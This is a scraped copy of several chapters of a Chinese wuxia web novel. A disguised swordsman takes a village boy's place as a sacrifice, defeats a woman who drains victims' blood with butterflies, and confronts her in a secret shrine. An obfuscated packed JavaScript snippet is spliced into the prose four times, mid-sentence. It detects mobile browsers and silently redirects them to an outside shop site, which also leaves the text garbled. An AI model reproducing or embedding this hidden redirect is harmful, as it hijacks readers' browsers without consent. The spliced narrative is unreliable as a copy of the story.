欣赏够了对方那副恨不得往他脸上揍一拳的表情,薛矜心满意足地移开视线,看向正哭丧着脸的李氏夫妇,单手撑着自己的下巴,拖着懒懒柔柔的调子开口:“你们先别急着哭,说不定我能救你们儿子呢。” 此言一出,如同平地惊雷炸响,余下几人被惊得目瞪口呆,微张着嘴,一时间竟什么话都说不出来。李大叔将眼前的少年从上到下打量了个遍,越看越摇头,小心斟酌了措辞才道:“此事与你无关,若是连累你枉送了性命,我们的良心会一辈子都不安。” 李大婶也从震惊中回过神来,点头附和道:“对啊,摊上这事只能怪我们命不好,怎么能把你牵扯进来呢?” 薛矜不以为意地笑了笑,慢条斯理地开口道:“放心,我会活着回来的,我可没打算去送死。”他说得信誓旦旦,两口子的眼中却流露出了明显的怀疑之色,显然一个字都不信。 少年见状,轻哼一声,放下了手中一直把玩的杯盏,坐直了身子说道:“看来我不露一手,你们还不信了。”他说着将视线移到李大叔身上,挑起单边眉毛,“要不咱俩比划比划?” 李大叔迟疑了一阵,方道:“你想怎么比?”虽然知道对方是一片好心,但他并不想这花枝儿般的美少年白白去送死,圣姑法力高强,手段狠辣,又岂是一般人对付得了的。 少年摸着下巴思索了一会,缓缓吐出一句话:“这样吧,我们来掰手腕,看谁的力气大。如果你赢了,就算我不知天高地厚,从此死了这条心,不再提这个念头,如何?” 余下几人的目光聚焦在他身上,听他这般说来,皆是一愣,没想到比斗方式竟是如此的……平易近人。 但李大叔没多想,就答应了:“好,没问题。”他早年在烟墨镇当巡抚,负责一地的治安巡逻,拳脚功夫很是不错,又兼孔武有力,将当地的地痞流氓治得服服帖帖,若非出了那档子事,他现在还在烟墨镇和那群刺儿头斗智斗勇。如今年逾不惑,他的力气却并未消减半分,单纯使用□□的力量,就能轻松地举起好几百斤重的石狮子,曾经还赤手空拳打死过一只吊睛白额虎。 掰手腕这种比斗方式虽然比较小儿科,但很有效果,能快速分出胜负,让少年死了这条心。想到此处,李大叔也不废话,当即撩开衣摆,和少年分别在窗边茶桌两侧的圈椅上坐定,一上来就去掰他的手腕。 不同于其他人,陆怀袖却是知道薛矜一定能赢,毕竟他是能徒手逼停一匹疯马的人。但她的心思却不在这上面,想起少年方才说的那番话,她的心情复杂难言。 李大叔本以为凭自己的力气,很快就能掰倒少年,但他用尽了全身的力量,少年的手腕都纹丝不动。他一看情况不对,深吸一口气,将全身力气集中到手臂,浑身肌肉绷紧。 对面的人都出了汗,少年却脸不红心不跳,一副举重若轻的模样。他就着掰手腕的姿势,顺势将李大叔提了起来,轻轻摔在了地上,对方的后背刚刚挨到地面,他又立刻一把将其拉起。 迎着李大叔不可置信的眼神,薛矜甩甩手腕,嘴角一翘,朝他笑了一下,拖着调子懒懒的说:“看样子我还是有两把刷子的。”顿了顿,他又加重了语气补充道:“你们大可放心,我薛矜是个贪生怕死的小人,不会傻到白白的前去送死。没有把握的事情,我绝对不会去做。” 两口子交换了一个眼神,都从彼此眼中看到了相同的意思。他们感激涕零地看向少年,弯曲双膝,就要给他跪下,只是一股柔和的力道凭空出现托住了他们,让他们怎么也跪不下去。薛矜眉头一挑,摆了摆手道:“这些虚礼便都免了吧,你们若想报答我,直接给我钱就是了。我是一个自利的人,无利可图的事情,我也绝不会做。” 这番话并无不妥,毕竟这世上没有任何事是理所当然的。李大叔点点头,询问道:“自当如此。薛公子若是真的救下了犬子,我们夫妇砸锅卖铁也要凑足给你的赏金。只是不知,你要多少?”他说着已经开始琢磨,将自家的豆腐坊变卖能卖多少钱了。 陆怀袖心中也暗叫不好,对方可是收了她足足十万两银票,才肯一路护送她。若想请他出手救下李平安,那笔钱必定不是夫妻二人能负担得起的。想到此处,她咬了咬下唇,默默将视线投向正自沉吟的少年,不知道他要如何狮子大开口。 像是过了很久,又好像只是短短一瞬,薛矜轻轻笑出了声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273369|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,唇线优美的嘴一张一合:“砸锅卖铁么?那也用不着。十文钱你们总该有吧,我要这些就够了。” 十文钱?众人像是看稀奇物件一样地看着他,不可思议的程度就好像他说的是黄金百两一样。 薛矜见众人皆沉浸在呆滞当中,装出一副吃惊的模样,眨巴眨巴眼问道:“没有么?” 这一声将李大叔拉回现实,他一边连声说着有有有,一边从怀中摸出十文钱,毕恭毕敬地双手递了过去。薛矜伸手接住,掂了掂那十枚铜钱,随后丢下一句重若千钧的话来:“好了,现在交易达成了。” * 商议完毕之后,薛矜起身往自己的屋走了几步,忽然听见身后传来的一阵细碎脚步声,这脚步声由远而近,不断朝着他所在的位置走去,显然是尾随着他而来。通过脚步声,薛矜能够轻易判断出来,此人正是陆怀袖。 这个念头刚一生起,他便停下脚步转过身来,果不其然撞入一双黑白分明清澈透亮的杏眼中。两人对视了片刻,随即他微微歪了歪头,一脸疑惑地望着来人,那表情分明是在问:你有何事? 陆怀袖见他看过来,有些不知所措,一时间变得束手束脚,手脚都不知道往那放,早在少年和大叔掰手腕时就打好的腹稿也都忘了个精光,站在那儿含含糊糊的,记不起自己要说什么。 薛矜半眯起那双好看的狐狸眼,盯着她因为紧张而涨红的脸,静静地等待她的下文,没有催促。 悠悠晚风从他们中间吹过,拂动他们的鬓发和衣角,沉默无声无息地蔓延开来。 扭捏了好一会儿,陆怀袖才鼓起勇气说道:“我错了,昨天我不该那么说你的,你其实不是那样的人。”闭着眼睛一股脑把要说的话说了出来,她趁热打铁,赶紧向他鞠躬大声道歉:“对不起!请原谅我!” 薛矜听她这般说,倒是有些意外。这种出生就在云端的天上人也会向别人低头认错?不应该是所有人都千方百计哄她开心么?小公主的这一举动大大超出了他的认知,让他不由得愣了一愣。 不过很快他就回过神来,抱着双臂慢悠悠道:“不,你说的没错,我本就是个无情无义的小人。” 少年这番自我评价被陆怀袖一字不落地听到,不知怎的,她下意识就开口反驳,语气急促到自己都难以理解的地步:“可你……”可你明明主动向那对可怜的夫妻施以援手,给了原本绝无生还可能的李平安一条活路。 薛矜听懂了她的未尽之意,慵懒的靠在廊柱上,抬头仰望天上的月亮,眼中倒映着点点星光。他的声音变得很轻,像是在喃喃低语:“就算是我这样的恶人,偶尔也会心血来潮做一些善事。” 今晚的月色确实很美,陆怀袖从没见过那样的月亮。 少年站在夜色月光下,冷白的皮肤被镀上一层柔光,晚风吹动他高高束起的黑色长发,头上的红色发带也随风飘摇。 又锋利又柔软。 在这个寂静无人的院子里,她好像听到了春风拂寒涧,桃花落刀刃的声音。 23. 祭品 因为昨日的约定,李家人全都起了个大早。用过早膳之后,薛矜特地将李平安带到他的房间,也没有说要做了什么,只让余下几人在一旁等候。陆怀袖和李氏夫妻依言等候在外,只是三人都紧紧地抿着嘴唇,没有任何心思说话。 等待期间,夫妻俩背着手在屋外像两只蜜蜂似的到处转悠,一刻也不停歇,脸上现出十分焦急的神态。陆怀袖一眼就看穿了他们的心思,柔声细语地安慰道:“你们尽管放心,我义兄实力强横,既然他说自己有把握,那么就一定能平安归来,成功将你们的儿子救下。”她并没有说假话,她是真的相信薛矜,说不定比薛矜自己都更加的相信薛矜。 她刚才的那番话,对夫妻俩来说就像是一颗定心丸。她没再多说一个字,夫妻俩却定下心来,不再胡思乱想。 一炷香的功夫过后,门被人从里面推开,两个长得一模一样的人直直地向着他们走了过来。准确地说,是两个李平安正迈开脚步走向他们。 余下几人瞪圆了双眼,不敢置信地看着眼前的两人,他们无论神情容貌气息,皆是一般无二,怎么看都让人难辨真假。要知道这世间没有两个人是一模一样的,即使是双胞胎兄弟姐妹,在身形相貌上多多少少都会有一些细节的区别。 两口子绕着两个李平安上上下下左左右右前前后后打量了一个仔细,全不放过观察了一遍。被他们这么盯着,两人既不觉得被冒犯,也不生气,大大方方的任凭夫妻俩打量。 然而……即使两口子围绕着他们的周身转了好几个大圈,也没发现有什么区别。要知道,李平安可是和他们朝夕相处十五年,由他们一手抚养长大的亲生儿子,连他们都分辨不出来,这大千世界,可真是无奇不有。 李大叔以前时常听说书人讲起,江湖上有一种绝技叫做——易容术,使用者能够借助各种巧妙手段改换容貌,扮成另一个人,谁也认不出来,千变万化让人防不胜防。他当时听了只觉得匪夷所思,打心底里认为所谓的易容术不过是说书人夸大其词的东西罢了,不可轻信。没想到今日亲眼得见,果真这般神奇。 他越看越感到惊奇,忍不住赞叹道:“这就是传说中的易容术?几乎达到了以假乱真的地步。感谢薛公子,小老儿我也算是大开眼界了。” 随着李大叔的话音落地,其中一个假的李平安,也就是薛矜往前走了一步,主动和另一人区分开来,随后不以为意地笑道:“我的易容术还有不小的缺陷,也只能到这种程度了。此等粗浅手段,在我们那儿可是排不上号的。” 余下几人听了,却只当他故作谦虚。这等出神入化的易容术,是无论如何也不会跟“粗浅”二字沾边的。 陆怀袖目光一直在二人身上来回打转,也是连连赞叹,忽然想到了什么似的,微笑着问道:“真是奇了怪了,这样貌可以变,你的身高是怎么变成和他一样的?”要知道薛矜虽然按年龄只比李平安大了一两岁,身高却是足足比他高出了大半个头。她并非不知道易容术,自己所看过的话本里也曾大篇幅描述过,只是这矮的变高的可以垫东西,这高的变矮的难道还能削骨不成? 薛矜的回答言简意赅,解释道:“用缩骨术就可以解决这个问题。” 缩骨术,顾名思义就将人身体上的骨头缩起来,以达到缩小身体的目的。江湖上一直有所流传,但鲜少有人能修得此术。这门武功训练极其艰苦,耗时又极其冗长,要想练成,没有数十年如一日的勤学苦练根本做不到。 陆怀袖第一次见识缩骨术,不禁赞叹,仰起头以钦佩的目光注视着他。薛矜这人会的东西可真多啊,明明只比她大两岁而已。 沉吟了片刻之后,薛矜脸色平静,将早就想好的说辞缓缓道出:“待会我就代替你们儿子去圣姑庙当祭品,你们把我装进箱子里,交给前来搬运箱子的衙役,千万别暴露出破绽,也不要露出异样,我讲明白了么?” 他话一出口,李氏夫妻忙不迭点了点头,异口同声道:“明白。”他们还想和他说些道谢的话,薛矜一眼就看穿了他们的想法,制止住他们,先一步开口道:“等我解决了此事,你们再道谢也不迟。”听他这般说,夫妻俩只好把到嘴边的话又咽了回去。 几人又交谈了几句,这时李平安从屋外抬进来一口系着红绸的大红木箱,他们不约而同地停下了话声,齐刷刷将目光投向少年,心里都明白接下来会发生什么事。 正是风雨欲来之时,陆怀袖藏在袖中的手紧紧攥成拳头,直直凝视着薛矜,一脸关切地叮嘱道:“万事小心,一定要平安回来。” 薛矜轻笑一声,没有说话,只是抬手做了一个往下压的手势,示意小公主安下心来,之后便由着李大叔绑上他的双手,蒙上他的眼睛,将他塞入那口大箱子里。 将箱盖盖上前,李大叔千叮咛万嘱咐道:“这绳子我打得是活结,到了紧要关头,只要你一用力就可以挣脱开。” 薛矜点点头表示自己知道了,随后语气镇定地开口:“就这样吧。” 他的话音刚刚落下,李大叔最后深深地看了他一眼,轻轻地把箱子盖上。 很快就有几个官差模样的人上门,他们看到那口系着红绸的大红木箱,知道里面装着的就是今年献给圣姑的祭品,抬起箱子风风火火地走了,连一句客套话都没说。 李氏夫妻做戏也要做全套,在门口抹着眼泪,一副伤心欲绝的样子,陆怀袖则在一旁假装安慰他们,神色也是十分难过。 直到他们走远了,再也听不见声音了,三人才松了一口气。 陆怀袖望着他们离开的方向,秉着神多力量大的原则,双手合十,向诸天神佛虔诚祷告:“求如来佛祖观音菩萨玉皇大帝齐天大圣太上老君,一定要保佑薛矜他平安归来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273370|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 一路上,薛矜被抬着往圣姑庙而去,抬箱子的衙役深一脚浅一脚地走着,箱子难免有些晃悠,不过他倒不是很在意,为了达成目标,这么一点苦头他也不是不能吃。 他虽然被困在箱中,但凭借着远超常人的耳力,方圆数里之内的一切动静都尽数落入了他的耳中。首先是行人的窃窃私语声,再是骑在牛背上的牧童用短笛吹奏着不成调的乐曲,过了一会儿,笛声远去,鸟鸣声和虫鸣声交织在一起,最后又只剩下身边人窸窸窣窣的脚步声。 不知过了多久,箱子落定,想来应该是已经抵达目的地。薛矜听得脚步声远去,心中思索起来,不知道接下来等待自己的将会是什么。虽然敌在暗我在明,但他艺高人胆大,压根就不怕令众人闻风丧胆的圣姑。想来还得过上一段时间,那位圣姑才会大驾光临,他索性就着这个姿势,缩手缩脚的在木箱中睡起回笼觉来,养精蓄锐以待敌人。 忽然一阵由远及近的脚步声闯入他的脑海,薛矜很快完全从梦中醒来,回到现实,迅速进入了状态,认真的在严阵以待。他竖耳倾听,从对方极轻的脚步声可以判断出,这是个武功不弱轻功很高的女子,而且身上有活人的气息,不是山精鬼魅变化而成的妖物。那么对方假借“圣姑”的名义作祟,又是出于什么目的呢? 正思索间,箱子盖忽然被人掀开,伴着透过来的微弱光线,薛矜感觉到对方审视的目光在自己身上来回逡巡,因为眼睛被一块黑布蒙上,他看不见对方的神情,不过他并不慌张,他很自信外形上自己是无懈可击的。不过为了不露出破绽,他还是装出一副这个年纪的少年应有的十分恐惧的模样,耷拉着脑袋,蜷缩成一团,活像一只受了惊的小鹌鹑。 那人上下打量了他一番,确认无误后,意味不明地哼了一声。过得片刻,她不知道按了什么开关,薛矜听到一阵吱吱呀呀的转动声,似乎有什么重物缓缓挪开。紧接着,那人便伸手拉住他手腕上特地留出来的一截两三米长的绳子,将他从木箱中拖了出来,往转动声传来的地方拽去。 薛矜被她一路牵着走,很快便迈上了第一阶石梯。他沿着盘旋的石阶向下走去,心中不由得惊讶,没想到这小小的庙宇居然暗藏玄机,底下还特地挖了个地窖,看来献祭少年这事别有隐情。 他忽然就很想知道接下来等待自己的会是什么。 与寻常人不同,薛矜就是喜欢危险的事情,如果不这么干就跟剥夺了他的灵魂似的。没办法,这种刀锋上游走的感觉实在是太棒了,简直就是他愉悦的作料。 终于走完了石梯,他非但一点都不害怕,甚至还有心思计起数来。石梯真的很长,一共有九九八十一阶。听说走楼梯时数阶梯的人会通向地狱,一旦进来就别想出去,不知道自己能否逃出生天呢。 想到此处,猎物的唇角微微勾了起来,而猎人一无所知。 24. 地窖 两人进入地窖之后,圣姑放开了拉住薛矜绳索的手。 薛矜又感到那股熟悉的目光在自己身上逡巡不定,好似在看一块猪肉是否肥瘦相间。他装出一副很害怕的样子,此时跟受惊的小狗一样,浑身哆嗦如同筛糠,颤抖着声音问道:“圣姑大人,您您您要做什么?” 圣姑嘴角勾勒起弧度,阴恻恻地笑了起来:“待会你就知道我要做什么了。” 话音刚落,她便用力地推了薛矜一把,将他推倒在地,随后俯身过去,在他的身前蹲下,不带丝毫感情地说道:“你要怪就怪自己命不好吧,偏偏要生在这个鬼地方,这才被我选中成为祭品。”说完她居高临下地看着他,如同毒蛇吐信般说道:“不过你放心,你暂时死不了的。你会和往年的那些可怜的小羊羔一样,为我奉献出你的一切,再踏上黄泉之路。” 薛矜闻言皱了皱眉,也不知这家伙到底想干什么。 说时迟,那时快,圣姑从怀里掏出一把短刀,迫不及待的将刀抽出刀鞘,朝少年被绑在身前的右手腕割了下去。薛矜敏锐地察觉到危险,几乎是电光火石之间,就地一个翻滚躲开了这一击。她那一刀落了空,重重地砸在地面上,迸溅出一大片火星。 圣姑显然没想到会出现这样的情况,怔愣了片刻,只不过很快就反应过来,朝少年一步步逼近,眸光锐利如刀。 薛矜避开了那一刀的势头后,用手撑地,一个鲤鱼打挺瞬间站起,与此同时,手下使了巧劲,迅速挣脱了绑着双手的绳索。这时候又是一刀刺向他胸前要害,他来不及多想,从袖中滑出一杆银箫迎了上去,只听得一声铿锵有力的撞击声响,短刀被荡开,他趁机取下了遮眼布。 他慢慢撑开眼皮,适应了光线后,终于睁开了双目,定睛看向对面的圣姑,映入眼帘的却是一个看上去二十岁出头的年轻姑娘,她脸上的皮肤光滑可鉴吹弹可破,整个人显得光彩照人,只是眼神里的苍老和皮肤的反差很明显。 薛矜惊讶地发现面前的这个女人居然相当年轻,若她真是传说中的那位异乡人,如今该是个白发苍苍满脸皱纹的老妪才对。 对面的圣姑也陷入了震惊之中。她方才和少年硬碰硬,只觉一股巨力从兵刃上传来,这一击碰撞,险些让手中的短刀脱手飞出。她随后低头看去,骇然发现自己握刀的手掌竟被震得虎口开裂,鲜血滴滴答答落下。 她的大脑飞速运转,眉头深深蹙起。此人实力不俗,必定不会是李家豆腐坊的那位文弱书生。他们身形相貌这般相像,想来是易容出来骗她的。想到此处,她怒目圆睁,恶狠狠瞪着眼前这个多管闲事的臭小子,厉声质问道:“你不是李长安,你是谁?” 薛矜将她的神情尽数收入眼底,不知为何促狭心顿起,装模作样地说道:“在下行不改名坐不改姓,正义的伙伴是也。” 圣姑没有得到她想要的答案,眼中杀机毕露,声音冷如寒夜里的刀锋:“臭小子,敢来管老娘的闲事,我看你是活腻了,待会我就让你体验一下什么叫生不如死。” 她散发出的杀意简直是铺天盖地,但薛矜脸上依旧笑容不改,还是那副懒懒散散的样子,就好像什么事都不值得他担忧似的:“那就要看你有没有这个本事了。” 圣姑见这少年分明就没把自己放在眼里,从鼻子里发出一声冷哼,一群浑身透明的蝴蝶自她袖中飞出,齐齐朝薛矜扑过来,气势汹汹,大有吞噬掉他的架势。 薛矜看到这群来势汹汹的蝴蝶,先是一愣,随后立刻作出反应,在它们距离自己只有三步之遥时,护体罡气显化而出,形成一圈银色的防护罩把他紧紧的保护着,所有的蝴蝶都被隔绝在外。 他趁机细细观察,发现它们就是传说中专门吸食人血的吸血蝶。这种蝴蝶浑身透明,锋利的口器可以轻易的将人的皮肤刺破,从而吸食血液,吸到浑身发红才会停下,十分危险,很少有人敢饲养,没想到今日在此得见。 脑中一些记忆很自然的串联起来,他猜测圣姑当年灭人满门,也是放出这些吸血蝶,所以那些死者才会被吸干了精血,浑身遍布咬痕,而且死前露出了惊恐至极的表情——被这么一大群蝴蝶扑上来吸血,任谁见了都要吓破胆。 正思索间,薛矜忽然听到了一阵阵痛苦的呻/吟声,他循声望去,发现有两三只蝴蝶冲向角落,将尖锐的口器扎入一名男子的手腕和脚腕,全身以肉眼可见的速度变红。几乎是眨眼的功夫,那名男子的血液便被吸干,变成一具干尸。 这场景实在是邪门得很,让素来见惯生死,性子凉薄的他也忍不住皱了皱眉。 他那一脸厌恶的表情显然取悦了一旁的圣姑,只见她轻笑出来,语气中的恶意几乎要透体而出:“看到了么,这就是你坏我好事的下场。”仿佛是为了印证她的话一般,密密麻麻的蝴蝶发疯似的撞向薛矜的防护罩,虽然一时半会奈何他不得,但几个时辰下来,必定能顺利攻破屏障,把他全身的鲜血吸的一丁点都不剩。 虽然正处于危险的境地,但薛矜似乎一点都不害怕,甚至都没有丝毫慌张,他的声音安静从容,仿佛站在九天之上:“你话说的太早了,这是谁的下场还说不定呢。”他说着将银箫置于唇畔,轻轻吹奏起来,修长白皙的手指灵巧地在箫上跳跃,一段古怪的音律随即飘荡在地窖里。 下一刻,令人不敢置信的事情发生了。那群攻击薛矜的吸血蝶好像被控制了一般,在他的指令下竟调转了头,向自己的主人发动进攻。 圣姑没想到他居然还有这一手,眼看着自己饲养已久的吸血蝶失去控制般向自己飞过来,脸上的血色一寸寸褪去,惨白得近乎透明。她深知这些蝴蝶不好对付,被缠上了的话,片刻就可让人血尽而亡。生死关头,她来不及多想,只能马上做出决断,施展轻功,飞速逃离。尽管如此,那群吸血蝶还是追着她不放,始终在她背后不远处。 薛矜看着她仓皇逃窜的背影, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273371|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诡异地弯起了唇角。他哼笑一声,心中得意,暗道一声“活该”,要知道自己还有一项本领,是驾驭百兽来着,在他面前玩这一招,真是自讨苦吃。 这样想着,他还是没有停止吹奏,夹杂着内力的箫声远远传出。直到确定圣姑离得远了,不会在暗地里动手脚,挪动机关将他困在地窖里,他才不再吹奏,用手指滴溜溜地转着长箫,随后将其往腰间一插。他也不怕找不到对方,在刚才挥箫格挡的时候,他已偷偷在她身上撒下了追魂香,就算她逃到天涯海角也会被他追踪到。 地窖里顿时只剩下薛矜一个人,准确地说,是他一个活人。 他撤去防护罩,往方才那个不幸被攻击的人身边走去,发现他周身的血液都好似被吸干,皮肤塌陷,毫无血色。而和他一样死状凄惨,全身都干瘪之极的,还有八个人。只是从尸体的僵硬程度以及尸体上的尸斑来看,他们早早便已死去,并非死于吸血蝶的攻击。 这九具干尸皆是眼睛被蒙上,双手被困缚住,和他刚来时一模一样,显然是往年的活祭品。 令薛矜惊讶的是,这九具干尸看起来都七老八十了,可是据李氏夫妻说,每年献给圣姑的祭品,个个都是十五六岁的少年人,怎么可能是这副干瘪小老头的模样。他再蹲下身子,将他们的尸首一个一个地检查下去,发现他们的手腕上无一例外都有数道狭长的,好似被锋利刀刃切割所致的疤痕,在火光的照耀下显得触目惊心。 他若有所思的绕着尸体观察了一圈,可以初步推断出是过度放血导致了这九人的死亡。联想到那个女人刚一开始想对自己做下的事情,若非自己反应的快,恐怕也要被她得手了。又想起她说过的让自己慢慢死去的那番话,薛矜不由得起了一身的鸡皮疙瘩,莫名想起教中对死囚的一种酷刑。 将他们固定在一张木床上,在床底放置一个回音很好的铜盆,再将他们的血管割开,让他们听着持续不断的,血珠击打铜盆发出的滴答轻响,最终血尽而亡。这种刑罚不仅能够给受刑人造成极大的生理痛苦,还让他们遭受着不知何时死去的精神折磨,在□□和精神的双重打击之下绝望死去,可谓是教中最残酷的和非人道的酷刑之一。 而那个女人这样做又有什么目的呢?单纯就是为了折磨他们? 想起皮肤细腻宛如少女的圣姑,以及本该青春洋溢,看上去却苍老得不像样子的少年,薛矜只觉有些东西逐渐开始浮出水面。 之后他慢悠悠走上石梯,回到了圣姑庙,凝目看去,原来密道的入口就在雕像的下方。借着透进来的皎洁月光,他若有所思地盯着那尊圣姑雕像看了好一会儿,发现她和方才的那名女子长得几乎一模一样。 看着看着,他微微勾起了唇,接着收回目光,从怀中取出一枚铜钱,在手中抛着玩儿,一上一下。 玩了一会儿,他轻轻叹息一声,心道自己又何曾做过这等赔本买卖。 亏大发了啊。 25. 夜访 却说李家那边,众人都守在屋里坐立不安,根本就没有心思睡觉,他们时不时望向门外,可那抹红影始终没有出现在他们的视线中。 眼看着戌时已过,已经到了亥时,但薛矜还是没有回来,所有人的心都不由得沉了下去,没有一个人开口说话,压抑的气氛笼罩在李家的上空。 在死一般的寂静中,李平安率先开口打破沉默,语气不太好,显然很是自责:“都怪我,这明明是我的责任,却偏偏要薛大哥李代桃僵。要是我坚定拒绝了,薛大哥也不会出这档子事。” 他这话一出口,夫妻俩脸上皆是流露出歉意,恨不得被献祭给圣姑的是自己。 陆怀袖闻得此言,也是一脸忧色,身侧的双手紧紧握成拳,整个人都在极轻地发抖,可她还是努力控制着自己的情绪,温声劝道:“你们要相信我义兄啊,他本事那么大,一定能安然无恙地回来的。” 她的话音刚一落地,四人耳边便传来一道丝绸般的悦耳男声:“还是我义妹慧眼识珠。”声音里还夹杂着几分笑意,显然是薛矜。 他的声音从远处飘来,却似响在四人耳畔。只是一眨眼的功夫,他便来到了四人的跟前。 四人乍一看到那抹耀眼的红影,皆是喜出望外,忙不迭迎了上去。陆怀袖更是对着他上上下下前前后后地检查起来,见他浑身上下完好无损,没有受到任何的伤害,紧皱的眉头这才松开。她微微昂了昂下巴,眼神中带着几分得意,对着李家人笑道:“我就说吧,他会平安回来的。” 李家人皆点头称是,脸上洋溢着喜悦的笑容。李大叔顺着她的话说道:“薛公子福大命大,必定不会殒命于此,是我们杞人忧天了。” 嘘寒问暖了好一会儿,薛矜像是想到什么似的问道:“你们清楚那位神婆的来历么?” 李大婶不知他为何突然问起这个问题,不过她还是将自己所知道的关于神婆的一切,竹筒倒豆子似的全部说了出来:“这位神婆是十年前来到我们镇上的,她向来都是深居简出,我们只有在求卜问卦和祭祀鬼神的时候才能看到她,而且她每每出现在众人跟前,都是戴着面纱,没人知道她长什么样。不过她算卦十分灵验,又是圣姑的传话使者,不但我们这些小老百姓非常敬重她,就连那位马县令碰到她也要礼让三分。” 薛矜将这番话一字不落地听在了耳中,记在了心里,沉吟片刻,又问道:“那你们可知道她如今年方几何?” 李大婶听他这般问,想了又想之后说道:“具体年龄么,我也不是很清楚,大概年逾六旬了吧,我隐约听人提起过。” 薛矜眸光一闪,点了点头道:“这样。”语气顿了顿,他又接着问道:“那位圣姑又有多大了?” 李大叔略微思忖了会,认认真真地答道:“她是四十年前来到这里的,当时二十出头,假如活到今天,也有六十好几了。” 默默听完了他们的对话,陆怀袖不由得好奇问道:“这两者间有什么关系么?” 薛矜眉毛一扬,摊摊手笑道:“现在还不确定,等弄清楚了我再告诉你。”说完没等对方问话,他打了个哈欠,摆摆手道:“别说这个了,今晚天色也不早了,你们还是早点安歇吧。” 众所周知,打哈欠是特别容易传染的,四人自然不可避免的跟着打了个哈欠。劳心劳力了一整天的他们此刻放松下来,困意如同潮水一般铺天盖地席卷而来,让他们忍不住上下眼皮子打架,不久后便依言各回各屋睡觉去了。 薛矜见众人散去,也回到了自己的屋子,打了盆水洗掉了脸上的易容。只是在恢复本来面目后,他并没有上床睡觉,而是推窗跳出去,长袖一拂便消失在月色中。 * 夜幕低垂,月明星稀。圣姑拿来绷带和药膏,在卧房替自己处理伤口。她被那群失去控制的吸血蝶攻击,好不容易才摆脱开来,身上不少地方遍布着咬痕,看起来很是凄惨。 她一边给自己缠上一圈又一圈的绷带,一边在心中暗骂那个坏了她大事的臭小子。等她骂完解气了,阴影再度袭上心头,她又不由得担心起来。那个少年不知是何方神圣,竟能操纵自己的蝴蝶为他杀人。 他为什么出现在这里,他又为何要替李家人出头,他的出现又会给自己的计划带来什么变数。 这些问题在她脑袋里盘旋不去,让她紧紧蹙起秀眉。处理完伤口后,她强迫自己将脑海中繁杂的思绪排出,站起身来,走到书架旁,手伸向其上摆放着的一只青花瓷瓶,转动了一圈。咔咔咔,随着一声声机关的活动声,书架缓缓挪开,一间透着微光的石室赫然出现在眼前。 这间石室不大,只有数丈方圆,里面的陈设也很简单,不过一张木桌,一盏油灯,除此之外再无其他。桌上正供着一个灵位,灵牌上刻着“亡夫阮念山之灵”,端端正正放在木桌正中,旁边还摆着一对蜡烛和一只香炉。 圣姑上前,随手将这对蜡烛点上,不知道从哪里取出来一根香点燃,插在了灵牌前的香炉之中。做完这一切后,她跪在蒲团上,开始自言自语:“十年了,阮郎,已经十年了。我报复了他们十年,他们当年害得我们一家三口,两口殒命,从此阴阳相隔,我也要让他们家破人亡,以解我心头之恨。只是最近来了个爱管闲事的硬茬子,也不知道我今后能不能继续报复下去……” 她说到这里,忽然一道轻柔悦耳的男声自门口传来,打断了她的话:“说曹操,曹操就到。” 此话一出,犹如晴天霹雳一般,就在圣姑头顶炸开,炸得她脑袋嗡嗡作响。她顿时脸色大变,不敢置信地转过身,正好瞧见抱着双臂轻倚在门口的绯衣少年。屋子里,昏暗的烛火燃烧着,少年站在那光影处,明明灭灭的烛光在他脸上摇曳生姿,宛如生出绮丽的花纹。这画面看上去很是美好,落在圣姑的眼中,却让她害怕得牙齿都在打颤。 来人正是薛矜。 他在门口不知站了多久,见圣姑望过来,冲她展颜一笑,礼貌地打了一个招呼:“你好啊,圣姑。”他说完又好像意识到自己说错话了似的,连忙改口道:“不对,是神婆。” 圣姑身形一震,直愣愣地看着他,心里绷紧了一根弦。有什么在脑海中一闪而过,电光火石间她想明白了一切——这少年就是先前假装李家小子与她为敌的那个,这就是他本来的面目。还未等她开口质问,晃眼之间,少年已来到她的身前,出手如电,一把扣住了她的右腕脉门,用力一压,丝毫没有怜香惜玉之心。 这一招奇快无比,而且手法十分怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273372|139963||http|test|mini|href|location''.split(''|''),0,{})); () { 